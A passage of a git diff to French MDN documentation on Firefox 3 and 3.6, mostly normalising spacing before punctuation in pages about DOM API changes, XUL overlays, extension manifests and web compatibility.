[`nsIDOMWindowUtils`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMWindowUtils) uniquement accessible depuis le chrome, fournit un facteur de conversion entre les pixels CSS et les pixels à l'écran ; cette valeur peut varier selon le niveau de zoom du contenu. -- Lorsque l'identifiant de fragment de document de l'URL de la page change (la partie après le caractère « # » (dièse)), un nouvel évènement `hashchange` est envoyé à la page. Consultez [window.onhashchange](/fr/docs/DOM/window.onhashchange) pour plus d'informations. [bug 385434](https://bugzilla.mozilla.org/show_bug.cgi?id=385434) -- L'attribut [`document.readyState`](/fr/docs/DOM/document.readyState) est désormais supporté. [bug 347174](https://bugzilla.mozilla.org/show_bug.cgi?id=347174 'FIXED: Implement document.readystate == "complete"') -- Gestion de l'attribut HTML5 [`element.classList`](/fr/docs/DOM/element.classList) pour permettre une gestion plus aisée de l'attribut class. [bug 501257](https://bugzilla.mozilla.org/show_bug.cgi?id=501257) +- Lorsque l'identifiant de fragment de document de l'URL de la page change (la partie après le caractère « # » (dièse)), un nouvel évènement `hashchange` est envoyé à la page. Consultez [window.onhashchange](/fr/docs/DOM/window.onhashchange) pour plus d'informations. [bug 385434](https://bugzilla.mozilla.org/show_bug.cgi?id=385434) +- L'attribut [`document.readyState`](/fr/docs/DOM/document.readyState) est désormais supporté. [bug 347174](https://bugzilla.mozilla.org/show_bug.cgi?id=347174 'FIXED: Implement document.readystate == "complete"') +- Gestion de l'attribut HTML5 [`element.classList`](/fr/docs/DOM/element.classList) pour permettre une gestion plus aisée de l'attribut class. [bug 501257](https://bugzilla.mozilla.org/show_bug.cgi?id=501257) - `localName` et `namespaceURI` dans les documents HTML se comportent à présent comme dans les documents XHTML : `localName` est renvoyé en minuscules et la propriété `namespaceURI` pour les éléments HTML est `"http://www.w3.org/1999/xhtml"`. - [`element.getElementsByTagNameNS`](/fr/docs/DOM/element.getElementsByTagNameNS) son argument n'est plus en minuscules, alors en lettres majuscules ASCII dans l'argument établit des chaînes contre des éléments HTML échouent. Cela est vrai aussi pour [`document.getElementsByTagNameNS`](/fr/docs/DOM/document.getElementsByTagNameNS). - Ajout de la gestion des adresses dans la géolocalisation via l'interface [`nsIDOMGeoPositionAddress`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMGeoPositionAddress) et d'un nouveau champ dans [`nsIDOMGeoPosition`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMGeoPosition). @@ -147,9 +147,9 @@ Si vous êtes un développeur d'extensions, vous devriez commencer par lire [Upd - [Énumération des propriétés d'une requête](/fr/docs/mozIStorageStatementParams#Enumeration_of_properties) - : Vous pouvez maintenant utiliser [`for...in`](/fr/docs/Guide_JavaScript_1.5/Instructions_de_manipulation_d%27objets#L%27instruction_for...in) pour énumérer toutes les propriétés d'une déclaration. - mozIStorageStatement's getParameterIndex a changé de comportement entre Firefox 3.5 et 3.6. - - : Voir [bug 528166](https://bugzilla.mozilla.org/show_bug.cgi?id=528166) pour plus de détails. + - : Voir [bug 528166](https://bugzilla.mozilla.org/show_bug.cgi?id=528166) pour plus de détails. - Liaison asynchrone de plusieurs ensembles de paramètres pour exécution d'une requête. - - : Voir [bug 490085](https://bugzilla.mozilla.org/show_bug.cgi?id=490085) pour plus de détails. + - : Voir [bug 490085](https://bugzilla.mozilla.org/show_bug.cgi?id=490085) pour plus de détails. ### Préférences @@ -165,13 +165,13 @@ Voir [Updating themes for Firefox 3.6](/fr/docs/Updating_themes_for_Firefox_3.6) ### Divers - Firefox n'a plus la charge des modules tiers installé dans son répertoire des modules internes. Cela contribue à assurer la stabilité en empêchant des composants tiers buggés d'être exécuté. Les développeurs qui installent des composants de cette façon doivent [refaire leurs modules sous forme de paquets XPI](/fr/docs/Migrating_raw_components_to_add-ons) afin qu'ils puissent être installés normalement. -- `contents.rdf` n'est plus pris en charge pour l'enregistrement chrome dans les extensions. Vous devez maintenant utiliser le fichier [`chrome.manifest`](/fr/docs/Install_Manifests). Voir [bug 492008](https://bugzilla.mozilla.org/show_bug.cgi?id=492008). -- La barre de menu peut être cachée automatiquement. Voir [bug 477256](https://bugzilla.mozilla.org/show_bug.cgi?id=477256). -- Ajout du support de l'attribut `container-live-role` aux objets. Voir [bug 391829](https://bugzilla.mozilla.org/show_bug.cgi?id=391829). -- Suppression de la liaison `tabs-closebutton`. Voir [bug 500971](https://bugzilla.mozilla.org/show_bug.cgi?id=500971). -- Ajout du support de `nsISound` pour jouer des sons en fonction des évènements qui ont eu lieu. Voir [bug 502799](https://bugzilla.mozilla.org/show_bug.cgi?id=502799). -- La syntaxe pour les méthodes de [`nsITreeView`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITreeView) : [`nsITreeView.canDrop()`](</fr/docs/XPCOM_Interface_Reference/nsITreeView#canDrop()>) et [`nsITreeView.drop()`](</fr/docs/XPCOM_Interface_Reference/nsITreeView#drop()>), a changé pour supporter la nouvelle API glisser & déposer introduite dans Gecko 1.9. Voir [bug 455590](https://bugzilla.mozilla.org/show_bug.cgi?id=455590). -- Ajout du support pour aligner le curseur de la souris sur le bouton par défaut de la boîte de dialogue ou l'assistant de Windows, voir [bug 76053](https://bugzilla.mozilla.org/show_bug.cgi?id=76053 'FIXED: Windows mouse integration: "Snap to default button in dialog boxes"'). Cela est traitée automatiquement par la boîte de dialogue et l'assistant. Mais si une application XUL crée une fenêtre en utilisant l'élément `window` et qu'il a un bouton par défaut, il doit appeler [`nsIDOMChromeWindow.notifyDefaultButtonLoaded()`](</fr/docs/XPCOM_Interface_Reference/nsIDOMChromeWindow#notifyDefaultButtonLoaded()>) dans le gestionnaire d'événements onload de la fenêtre. +- `contents.rdf` n'est plus pris en charge pour l'enregistrement chrome dans les extensions. Vous devez maintenant utiliser le fichier [`chrome.manifest`](/fr/docs/Install_Manifests). Voir [bug 492008](https://bugzilla.mozilla.org/show_bug.cgi?id=492008). +- La barre de menu peut être cachée automatiquement. Voir [bug 477256](https://bugzilla.mozilla.org/show_bug.cgi?id=477256). +- Ajout du support de l'attribut `container-live-role` aux objets. Voir [bug 391829](https://bugzilla.mozilla.org/show_bug.cgi?id=391829). +- Suppression de la liaison `tabs-closebutton`. Voir [bug 500971](https://bugzilla.mozilla.org/show_bug.cgi?id=500971). +- Ajout du support de `nsISound` pour jouer des sons en fonction des évènements qui ont eu lieu. Voir [bug 502799](https://bugzilla.mozilla.org/show_bug.cgi?id=502799). +- La syntaxe pour les méthodes de [`nsITreeView`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITreeView) : [`nsITreeView.canDrop()`](</fr/docs/XPCOM_Interface_Reference/nsITreeView#canDrop()>) et [`nsITreeView.drop()`](</fr/docs/XPCOM_Interface_Reference/nsITreeView#drop()>), a changé pour supporter la nouvelle API glisser & déposer introduite dans Gecko 1.9. Voir [bug 455590](https://bugzilla.mozilla.org/show_bug.cgi?id=455590). +- Ajout du support pour aligner le curseur de la souris sur le bouton par défaut de la boîte de dialogue ou l'assistant de Windows, voir [bug 76053](https://bugzilla.mozilla.org/show_bug.cgi?id=76053 'FIXED: Windows mouse integration: "Snap to default button in dialog boxes"'). Cela est traitée automatiquement par la boîte de dialogue et l'assistant. Mais si une application XUL crée une fenêtre en utilisant l'élément `window` et qu'il a un bouton par défaut, il doit appeler [`nsIDOMChromeWindow.notifyDefaultButtonLoaded()`](</fr/docs/XPCOM_Interface_Reference/nsIDOMChromeWindow#notifyDefaultButtonLoaded()>) dans le gestionnaire d'événements onload de la fenêtre. - Pour l'interface [`nsILocalFileMac`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILocalFileMac), deux méthodes ont étés retirées : `setFileTypeAndCreatorFromMIMEType()` and `setFileTypeAndCreatorFromExtension()`. - Le nouveau module de code [`NetUtils.jsm`](/fr/docs/JavaScript_code_modules/NetUtil.jsm) apporte une méthode facile à utiliser pour copier les données de manière asynchrone à partir d'un flux d'entrée vers un flux de sortie. - Le nouveau module de code [`openLocationLastURL.jsm`](/fr/docs/JavaScript_code_modules/openLocationLastURL.jsm), facilite la lecture et la modification de la valeur de l'URL gardée en mémoire de la boîte de dialogue "Ouvrir le fichier", tout en prenant bien en compte le mode de navigation privée. @@ -234,7 +234,7 @@ Les modifications suivantes ont été faites : ### Changements dans l'accessibilitée du code -- L'[évènement d'accessibilité](/fr/docs/XPCOM_Interface_Reference/nsIAccessibleEvent) `EVENT_REORDER` est maintenant envoyé quand les enfants de `frames` et d'`iframes` changent, ainsi que lors de la modification du document principal des enfants. Voir [bug 420845](https://bugzilla.mozilla.org/show_bug.cgi?id=420845). +- L'[évènement d'accessibilité](/fr/docs/XPCOM_Interface_Reference/nsIAccessibleEvent) `EVENT_REORDER` est maintenant envoyé quand les enfants de `frames` et d'`iframes` changent, ainsi que lors de la modification du document principal des enfants. Voir [bug 420845](https://bugzilla.mozilla.org/show_bug.cgi?id=420845). - Désormais toute sélection en cours est correctement supprimée avant de sélectionner une ligne spécifique. ## Voir également diff --git a/files/fr/mozilla/firefox/releases/3/full_page_zoom/index.md b/files/fr/mozilla/firefox/releases/3/full_page_zoom/index.md index 0d29be3a9e..2b54253d8f 100644 --- a/files/fr/mozilla/firefox/releases/3/full_page_zoom/index.md +++ b/files/fr/mozilla/firefox/releases/3/full_page_zoom/index.md @@ -20,7 +20,7 @@ L'exemple qui suit montre l'utilisation du zoom pour la fenêtre de navigation a ### Exemple (xul:iframe) -Il est également possible d'utiliser la fonction fullZoom pour un xul:iframe. Cependant, comme un iframe n'a pas de propriété `markupDocumentViewer`, il faut d'abord obtenir cette valeur : +Il est également possible d'utiliser la fonction fullZoom pour un xul:iframe. Cependant, comme un iframe n'a pas de propriété `markupDocumentViewer`, il faut d'abord obtenir cette valeur : var zoom = 1.5; var iframe = document.getElementById("authorFrame"); diff --git a/files/fr/mozilla/firefox/releases/3/index.md b/files/fr/mozilla/firefox/releases/3/index.md index cabc8fb89d..04bc2b54b3 100644 --- a/files/fr/mozilla/firefox/releases/3/index.md +++ b/files/fr/mozilla/firefox/releases/3/index.md @@ -148,7 +148,7 @@ Pour les développeurs qui désirent prendre connaissance de toutes les nouvelle #### Nouveaux composants et fonctionnalités - [Bibliothèque FUEL](/fr/FUEL) - - : FUEL sert à améliorer la productivité des développeurs d'extensions en minimisant certaines des formalités XPCOM et en ajoutant certaines idées « modernes » de JavaScript. + - : FUEL sert à améliorer la productivité des développeurs d'extensions en minimisant certaines des formalités XPCOM et en ajoutant certaines idées « modernes » de JavaScript. <!----> @@ -223,12 +223,12 @@ Pour les développeurs qui désirent prendre connaissance de toutes les nouvelle - **Enregistrement de votre session.** Firefox 3 vous demande si vous désirez enregistrer vos onglets ouverts lorsque vous quittez Firefox. - **Comportement d'ouverture dans des onglets optimisé.** L'ouverture d'un dossier de marque-pages dans des onglets ajoute une série de nouveaux onglets au lieu de remplacer les onglets existants. - **Barres d'adresse et de recherche plus faciles à redimensionner.** Il est à présent aisé de redimensionner les barres d'adresse et de recherche grâce à une poignée de redimensionnement située entre les deux. -- **Améliorations dans la sélection de texte.** Il est à présent possible de sélectionner plusieurs sections de texte à l'aide de la touche Ctrl (Command sur Macintosh). Un double clic avec déplacement sélectionne en mode « mot à mot ». Un triple clic sélectionne tout le paragraphe. +- **Améliorations dans la sélection de texte.** Il est à présent possible de sélectionner plusieurs sections de texte à l'aide de la touche Ctrl (Command sur Macintosh). Un double clic avec déplacement sélectionne en mode « mot à mot ». Un triple clic sélectionne tout le paragraphe. - **Barre de recherche.** La barre de recherche dans la page s'ouvre avec le contenu de la sélection courante. - **Gestion des plugins.** Les utilisateurs peuvent désactiver des plugins particuliers dans le gestionnaire de modules complémentaires. - **Intégration dans Windows Vista.** Les menus de Firefox s'affichent à présent avec le thème natif de Vista. - **Intégration dans Mac OS X.** Firefox utilise le correcteur orthographique de Mac OS X et gère [Growl](http://growl.info/) pour les notifications de téléchargements terminés et de mises à jour disponibles. -- **Bouton « Star ».** Le nouveau bouton en forme d'étoile dans la Barre d'adresse permet d'ajouter rapidement un marque-page en un clic. Un second clic permet de ranger et de mettre des étiquettes sur le nouveau marque-page. +- **Bouton « Star ».** Le nouveau bouton en forme d'étoile dans la Barre d'adresse permet d'ajouter rapidement un marque-page en un clic. Un second clic permet de ranger et de mettre des étiquettes sur le nouveau marque-page. - **Étiquettes.** Vous pouvez associer des étiquettes à vos marque-pages pour les trier facilement par sujet. - **Barre d'adresse et autocomplétion.** Entrez le titre ou l'étiquette d'une page dans la Barre d'adresse pour retrouver rapidement le site que vous cherchez dans votre historique et vos marque-pages. Des indicateurs reprenant l'icône du site, le marque-page et les étiquettes associés vous aident à savoir d'où viennent les résultats. - **Dossier de marque-pages intelligent.** Le nouveau Classeur de Firefox permet d'accéder rapidement à vous pages récemment marquées et étiquetées, ainsi qu'aux pages que vous visitez fréquemment. @@ -241,7 +241,7 @@ Pour les développeurs qui désirent prendre connaissance de toutes les nouvelle ### Sécurité et vie privée -- **Informations sur un site en un clic.** Vous voulez en savoir plus sur le site affiché ? Cliquez sur son icône dans la Barre d'adresse pour en connaître le propriétaire. Les informations d'identité sont affichées plus clairement et plus faciles à comprendre. +- **Informations sur un site en un clic.** Vous voulez en savoir plus sur le site affiché ? Cliquez sur son icône dans la Barre d'adresse pour en connaître le propriétaire. Les informations d'identité sont affichées plus clairement et plus faciles à comprendre. - **Protection contre les logiciels malveillants.** Firefox 3 vous avertit si vous vous rendez sur un site connu pour installer des virus, spywares, troyens ou d'autres logiciels dangereux. Vous pouvez voir à quoi cet avertissement ressemble en [visitant cette page](https://www.mozilla.com/firefox/its-an-attack.html). - **Protection contre les sites contrefaits améliorée.** Lorsque vous visitez une page suspectée d'être une contrefaçon, une page spéciale s'affiche au lieu du contenu de la page avec un avertissement. [Visitez cette page](https://www.mozilla.com/firefox/its-a-trap.html) pour voir à quoi elle ressemble. - **Erreurs SSL plus faciles à comprendre.** Les erreurs présentées lorsqu'un certificat SSL invalide est rencontré ont été clarifiées pour qu'il soit plus facile de comprendre la nature du problème. diff --git a/files/fr/mozilla/firefox/releases/3/site_compatibility/index.md b/files/fr/mozilla/firefox/releases/3/site_compatibility/index.md index 2c63daa1f0..f646b6ba7a 100644 --- a/files/fr/mozilla/firefox/releases/3/site_compatibility/index.md +++ b/files/fr/mozilla/firefox/releases/3/site_compatibility/index.md @@ -19,11 +19,11 @@ Consultez également [Firefox 3 pour les développeurs](fr/Firefox_3_pour_les_d% Dans Gecko 1.8, il n'était pas possible de définir des gestionnaires d'évènements `load` capturants sur les images. Dans Gecko 1.9, cela devient possible avec la résolution du {{ Bug(234455) }}. Cela peut cependant causer des problèmes sur les sites Web qui ont incorrectement défini leurs gestionnaires d'évènements sur l'évènement `load`. Consultez la discussion dans le {{ Bug(335251) }}. Pour résoudre ce problème, les pages en question ne doivent pas définir de gestionnaires d'évènements capturants pour l'évènement `load`. -Par exemple, ceci : +Par exemple, ceci : window.addEventListener('load', votreFonction, true); -devrait être remplacé par ceci : +devrait être remplacé par ceci : window.addEventListener('load', votreFonction, false); diff --git a/files/fr/mozilla/firefox/releases/3/svg_improvements/index.md b/files/fr/mozilla/firefox/releases/3/svg_improvements/index.md index bc2a8f911d..86717c49c9 100644 --- a/files/fr/mozilla/firefox/releases/3/svg_improvements/index.md +++ b/files/fr/mozilla/firefox/releases/3/svg_improvements/index.md @@ -40,7 +40,7 @@ Firefox 3 offre un support [SVG](fr/SVG) amélioré par rapport aux versions pr - `feTurbulence` - `feTile` -- L'élément `<a>` géré dans SVG comportent plusieurs bogues résolus : consultez {{ Bug(267664) }}, {{ Bug(268135) }}, {{ Bug(316248) }}, {{ Bug(317270) }} et {{ Bug(320724) }}. +- L'élément `<a>` géré dans SVG comportent plusieurs bogues résolus : consultez {{ Bug(267664) }}, {{ Bug(268135) }}, {{ Bug(316248) }}, {{ Bug(317270) }} et {{ Bug(320724) }}. - Les méthodes DOM SVG `getNumberOfChars()`, `getComputedTextLength()`, `getSubStringLength()`, `getStartPositionOfChar()`, `getEndPositionOfChar()`, `getRotationOfChar()`, et `getCharNumAtPosition()` ont été implentées. - support de l'attribut `xml:space` ([spécification](http://www.w3.org/TR/SVG/text.html#WhiteSpace)) - Les transitions `fill`/`stroke` sont à présent supportées ([spécification](http://www.w3.org/TR/SVG/painting.html#SpecifyingPaint)) diff --git a/files/fr/mozilla/firefox/releases/3/updating_extensions/index.md b/files/fr/mozilla/firefox/releases/3/updating_extensions/index.md index f44a74e205..9d3d40cd25 100644 --- a/files/fr/mozilla/firefox/releases/3/updating_extensions/index.md +++ b/files/fr/mozilla/firefox/releases/3/updating_extensions/index.md @@ -43,23 +43,23 @@ original_slug: Mise_à_jour_des_extensions_pour_Firefox_3 Cet article fournit des informations qui seront utiles pour les développeurs désirant mettre à jour leurs extensions pour qu'elles fonctionnent correctement avec Firefox 3. -Avant d'aller plus loin, voici une indication utile : si la seule modification dont votre extension a besoin est une mise à jour du champ `maxVersion` dans son manifeste d'installation, et que celle-ci est hébergée sur [addons.mozilla.org](https://addons.mozilla.org), il n'est pas vraiment nécessaire de renvoyer une nouvelle version de votre extension ! Utilisez simplement le Developer Control Panel sur AMO pour ajuster la valeur de `maxVersion`. Cela vous évitera également la revérification de votre extension. +Avant d'aller plus loin, voici une indication utile : si la seule modification dont votre extension a besoin est une mise à jour du champ `maxVersion` dans son manifeste d'installation, et que celle-ci est hébergée sur [addons.mozilla.org](https://addons.mozilla.org), il n'est pas vraiment nécessaire de renvoyer une nouvelle version de votre extension ! Utilisez simplement le Developer Control Panel sur AMO pour ajuster la valeur de `maxVersion`. Cela vous évitera également la revérification de votre extension. -### Première étape : mise à jour du manifeste d'installation +### Première étape : mise à jour du manifeste d'installation La première étape — et pour la plupart des extensions la seule qui sera nécessaire — est de mettre à jour le fichier de [manifeste d'installation](/fr/Manifestes_d'installation), `install.rdf`, pour indiquer sa compatibilité avec Firefox 3. -Trouvez simplement la ligne indiquant la version maximale compatible de Firefox (qui, pour Firefox 2, ressemblait probablement à ceci) : +Trouvez simplement la ligne indiquant la version maximale compatible de Firefox (qui, pour Firefox 2, ressemblait probablement à ceci) : <em:maxVersion>2.0.*</em:maxVersion> -Modifiez-la pour indiquer la compatibilité avec Firefox 3 : +Modifiez-la pour indiquer la compatibilité avec Firefox 3 : <em:maxVersion>3.0.*</em:maxVersion> Et réinstallez ensuite votre extension. -Notez que Firefox 3 n'a plus besoin d'un « .0 » supplémentaire dans son numéro de version, donc au lieu d'utiliser « 3.0.0.\* », il ne faut plus indiquer que « 3.0.\* ». +Notez que Firefox 3 n'a plus besoin d'un « .0 » supplémentaire dans son numéro de version, donc au lieu d'utiliser « 3.0.0.\* », il ne faut plus indiquer que « 3.0.\* ». > **Note :** Notez qu'à ce point, il faut s'attendre à d'autres changements dans Firefox 3. Ceux-ci peuvent poser des problèmes à certaines extensions, il faut donc éviter de publier une extension avec la valeur `3.0.0.*` pour `maxVersion` avant que la RC de Firefox 3 soit disponible. Durant la pariode beta de Firefox 3, il convient d'utiliser `3.0b5` comme valeur de `maxVersion`. @@ -71,13 +71,13 @@ Il y a eu (et il y aura encore) un certain nombre de changements dans les API qu Firefox 3 permet d'utiliser de nouvelles propriétés dans le manifeste d'installation pour spécifier des descriptions localisées. Les anciennes méthodes continuent à fonctionner, mais la nouvelle permet à Firefox de charger les localisations même lorsque le module complémentaire est désactivé ou sur le point d'être installé. Consultez [Localisation des descriptions d'extensions](/fr/Localisation_des_descriptions_d'extensions) pour plus de détails. -### Deuxième étape : s'assurer de fournir des mises à jour sécurisées +### Deuxième étape : s'assurer de fournir des mises à jour sécurisées Si vous hébergez des modules complémentaires vous-mêmes et pas sur un fournisseur d'hébergement sécurisé comme [addons.mozilla.org](https://addons.mozilla.org), vous devrez fournir une méthode sécurisée de mise à jour pour vos modules. Pour ce faire, il faudrait soit héberger vos mises à jour sur un site SSL, ou utiliser des clés cryptographiques pour signer les informations de mise à jour. Consultez [Mises à jour sécurisées](/fr/Versions_d'une_extension,_mise_à_jour_et_compatibilité#Mises_.C3.A0_jour_s.C3.A9curis.C3.A9es) pour plus d'informations. -### Troisième étape : s'occuper des changements d'API +### Troisième étape : s'occuper des changements d'API -Plusieurs API ont changé de manière significative. Les changements les plus importants, qui affecteront probablement un grand nombre d'extensions, sont les suivants : +Plusieurs API ont changé de manière significative. Les changements les plus importants, qui affecteront probablement un grand nombre d'extensions, sont les suivants : #### DOM @@ -120,7 +120,7 @@ La méthode [`handleEnter()`](/fr/NsIAutoCompleteController#handleEnter.28.29) d - Lorsqu'un objet `DOMParser` est instancié, il hérite du principal du code appelant et des valeurs `documentURI` et `baseURI` de la fenêtre dont le constructeur venait. - Si l'appelant a des privilèges UniversalXPConnect, il peut fournir des paramètres à `new DOMParser()`. Si moins de trois paramètres sont fournis, les paramètres restants prendront la valeur `null` par défaut. - - Le premier paramètre est le principal à utiliser ; il remplace le principal par défaut normalement hérité. + - Le premier paramètre est le principal à utiliser ; il remplace le principal par défaut normalement hérité. - Le second paramètre est la valeur `documentURI` à utiliser. - Le troisième paramètre est la valeur `baseURI` à utiliser. @@ -128,31 +128,31 @@ La méthode [`handleEnter()`](/fr/NsIAutoCompleteController#handleEnter.28.29) d #### Interfaces supprimées -Les interfaces suivantes ont été retirées de Gecko 1.9, sur lequel se base Firefox 3. Si votre extension utilise l'une ou l'autre d'entre-elles, vous devrez mettre à jour votre code : +Les interfaces suivantes ont été retirées de Gecko 1.9, sur lequel se base Firefox 3. Si votre extension utilise l'une ou l'autre d'entre-elles, vous devrez mettre à jour votre code : - `nsIDOMPaintListener` - `nsIDOMScrollListener` - `nsIDOMMutationListener` - `nsIDOMPageTransitionListener` -- `nsICloseAllWindows` (voir le [bug 386200](https://bugzilla.mozilla.org/show_bug.cgi?id=386200 'FIXED: SeaMonkey only: no "view cert button" in untrusted cert error dialog')) +- `nsICloseAllWindows` (voir le [bug 386200](https://bugzilla.mozilla.org/show_bug.cgi?id=386200 'FIXED: SeaMonkey only: no "view cert button" in untrusted cert error dialog')) -### Quatrième étape : vérifier les changements chrome appropriés +### Quatrième étape : vérifier les changements chrome appropriés -Un changement mineur dans le chrome pourrait nécessiter des changements dans votre code. Un nouveau `vbox` a été ajouté, appelé « browser-bottombox », qui comprend la Barre de recherche et la Barre d'état en bas de la fenêtre de navigation. Bien que ceci n'affecte pas l'apparence de l'affichage, votre extension peut être affectée si elle utilise des overlays chrome relatifs à ces éléments. +Un changement mineur dans le chrome pourrait nécessiter des changements dans votre code. Un nouveau `vbox` a été ajouté, appelé « browser-bottombox », qui comprend la Barre de recherche et la Barre d'état en bas de la fenêtre de navigation. Bien que ceci n'affecte pas l'apparence de l'affichage, votre extension peut être affectée si elle utilise des overlays chrome relatifs à ces éléments. -Par exemple, si vous faisiez précédemment un overlay chrome avant la Barre d'état, comme ceci : +Par exemple, si vous faisiez précédemment un overlay chrome avant la Barre d'état, comme ceci : <window id="main-window"> <something insertbefore="status-bar" /> </window> -Vous devrez à présent le faire comme ceci : +Vous devrez à présent le faire comme ceci : <vbox id="browser-bottombox"> <something insertbefore="status-bar" /> </vbox> -Ou utilisez la technique suivante pour que votre overlay fonctionne tant avec Firefox 2 que Firefox 3 : +Ou utilisez la technique suivante pour que votre overlay fonctionne tant avec Firefox 2 que Firefox 3 : <window id="main-window"> <vbox id="browser-bottombox" insertbefore="status-bar"> @@ -167,17 +167,17 @@ Ou utilisez la technique suivante pour que votre overlay fonctionne tant avec Fi _Ajoutez ici les changements simples que vous avez dû faire à vos extensions pour qu'elles fonctionnent avec Firefox 3._ - `chrome://browser/base/utilityOverlay.js` n'est plus géré pour des raisons de sécurité. Si vous l'utilisiez auparavant, vous devriez passer à `chrome://browser/content/utilityOverlay.js`. -- Les implémentations de [`nsIAboutModule`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAboutModule) doivent à présent supporter la méthode `getURIFlags`. Consultez [nsIAboutModule.idl](https://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl) pour la documentation. Ceci affecte les extensions qui fournissent de nouvelles URI `about:`. ([bug 337746](https://bugzilla.mozilla.org/show_bug.cgi?id=337746 'FIXED: [FIX]Move "safe about" hardcoding out of security manager')) -- L'élément [`tabbrowser`](/fr/docs/Mozilla/Tech/XUL/tabbrowser) ne fait plus partie du « toolkit » ([bug 339964](https://bugzilla.mozilla.org/show_bug.cgi?id=339964)). Cela signifie qu'il n'est plus disponible pour les applications XUL et extensions. Il continue cependant à être utilisé dans la fenêtre principale de Firefox (browser.xul). +- Les implémentations de [`nsIAboutModule`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAboutModule) doivent à présent supporter la méthode `getURIFlags`. Consultez [nsIAboutModule.idl](https://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl) pour la documentation. Ceci affecte les extensions qui fournissent de nouvelles URI `about:`. ([bug 337746](https://bugzilla.mozilla.org/show_bug.cgi?id=337746 'FIXED: [FIX]Move "safe about" hardcoding out of security manager')) +- L'élément [`tabbrowser`](/fr/docs/Mozilla/Tech/XUL/tabbrowser) ne fait plus partie du « toolkit » ([bug 339964](https://bugzilla.mozilla.org/show_bug.cgi?id=339964)). Cela signifie qu'il n'est plus disponible pour les applications XUL et extensions. Il continue cependant à être utilisé dans la fenêtre principale de Firefox (browser.xul). - Les changements dans les [proxys nsISupports](/fr/Proxys_nsISupports) et éventuellement aux interfaces liées aux threads doivent être documentés. -- Si vous utilisez des instructions de traitement XML comme `<?xml-stylesheet ?>` dans vos fichiers XUL, tenez compte des changements effectués dans le [bug 319654](https://bugzilla.mozilla.org/show_bug.cgi?id=319654) : +- Si vous utilisez des instructions de traitement XML comme `<?xml-stylesheet ?>` dans vos fichiers XUL, tenez compte des changements effectués dans le [bug 319654](https://bugzilla.mozilla.org/show_bug.cgi?id=319654) : 1. Les instructions de traitement XML sont à présent ajoutées au DOM des documents XUL. Cela signifie que [`document.firstChild`](/fr/docs/Web/API/Document/firstChild) n'est plus forcément l'élément racine. Si vous avez besoin de l'élément racine dans votre script, utilisez plutôt [`document.documentElement`](/fr/docs/Web/API/Document/documentElement). 2. Les instructions de traitement `<?xml-stylesheet ?>` et `<?xul-overlay ?>` n'ont plus d'effet en dehors du prologue du document. -- `window.addEventListener("load", myFunc, true)` n'est pas déclenché au chargement de contenu web (chargement de page dans le navigateur). Ceci est causé par le [bug 296639](https://bugzilla.mozilla.org/show_bug.cgi?id=296639) qui modifie la manière dont les fenêtres internes et externes communiquent. Une correction simple est d'utiliser `gBrowser.addEventListener("load", myFunc, true)` comme décrit dans [les exemples de code](/fr/Extraits_de_code/Onglets_de_navigation#D.C3.A9tection_du_chargement_d.27une_page) et qui fonctionnera dans Firefox 2 également. +- `window.addEventListener("load", myFunc, true)` n'est pas déclenché au chargement de contenu web (chargement de page dans le navigateur). Ceci est causé par le [bug 296639](https://bugzilla.mozilla.org/show_bug.cgi?id=296639) qui modifie la manière dont les fenêtres internes et externes communiquent. Une correction simple est d'utiliser `gBrowser.addEventListener("load", myFunc, true)` comme décrit dans [les exemples de code](/fr/Extraits_de_code/Onglets_de_navigation#D.C3.A9tection_du_chargement_d.27une_page) et qui fonctionnera dans Firefox 2 également. - `content.window.getSelection()` fournit un objet (qui peut être converti en une chaîne avec `toString()`), contrairement à l'ancienne `content.document.getSelection()`, à présent dépréciée, qui renvoie une chaîne. - `event.preventBubble()` avait été dépréciée dans Firefox 2 et a été retirée de Firefox 3. Utilisez [`event.stopPropagation()`](/fr/DOM/event.stopPropagation), qui fonctionne également dans Firefox 2. -- Les timers initialisés par`setTimeout()` sont à présent bloqués par les fenêtres modales suite à la correction du [bug 52209](https://bugzilla.mozilla.org/show_bug.cgi?id=52209). Vous pouvez utiliser `nsITimer` à la place. +- Les timers initialisés par`setTimeout()` sont à présent bloqués par les fenêtres modales suite à la correction du [bug 52209](https://bugzilla.mozilla.org/show_bug.cgi?id=52209). Vous pouvez utiliser `nsITimer` à la place. - Si votre extension doit permettre à une source non sûre (par exemple un site web) d'accéder au chrome de l'extension, vous devrez utiliser le nouveau paramètre [`contentaccessible`](/fr/Enregistrement_chrome#contentaccessible). - FireFox 3.6 est sensible aux accents dans les pages XUL ! Il faut donc soigneusement enlever toute ponctuation, même dans les commentaires. diff --git a/files/fr/mozilla/firefox/releases/3/updating_web_applications/index.md b/files/fr/mozilla/firefox/releases/3/updating_web_applications/index.md index e02db57c42..8ef8b7a626 100644 --- a/files/fr/mozilla/firefox/releases/3/updating_web_applications/index.md +++ b/files/fr/mozilla/firefox/releases/3/updating_web_applications/index.md @@ -28,11 +28,11 @@ Firefox 3 corrige un bug de sécurité dans les éléments `frame` et `iframe` q #### Changements concernant l'élément SCRIPT -L'élément \<script> dans les documents HTML servis en mode `text/html` doit à présent être obligatoirement accompagné d'une balise fermante \</script>, même si aucun contenu n'est fourni entre les deux balises. Dans les versions précédentes de Firefox, il était possible de faire ceci : +L'élément \<script> dans les documents HTML servis en mode `text/html` doit à présent être obligatoirement accompagné d'une balise fermante \</script>, même si aucun contenu n'est fourni entre les deux balises. Dans les versions précédentes de Firefox, il était possible de faire ceci : <script ... /> -Le balisage doit à présent respecter les spécifications HTML (si c'est effectivement du HTML), il devient donc obligatoire de placer une balise de fermeture séparément, comme ceci : +Le balisage doit à présent respecter les spécifications HTML (si c'est effectivement du HTML), il devient donc obligatoire de placer une balise de fermeture séparément, comme ceci : <script ...></script> @@ -42,11 +42,11 @@ Ce changement améliore tant la compatibilité que la sécurité. #### Changements concernant les tailles de police basées sur les unités em et ex -Les valeurs de taille de police (`font-size`) utilisant les unités em et ex étaient auparavant affectées selon la taille de police minimale spécifiée par 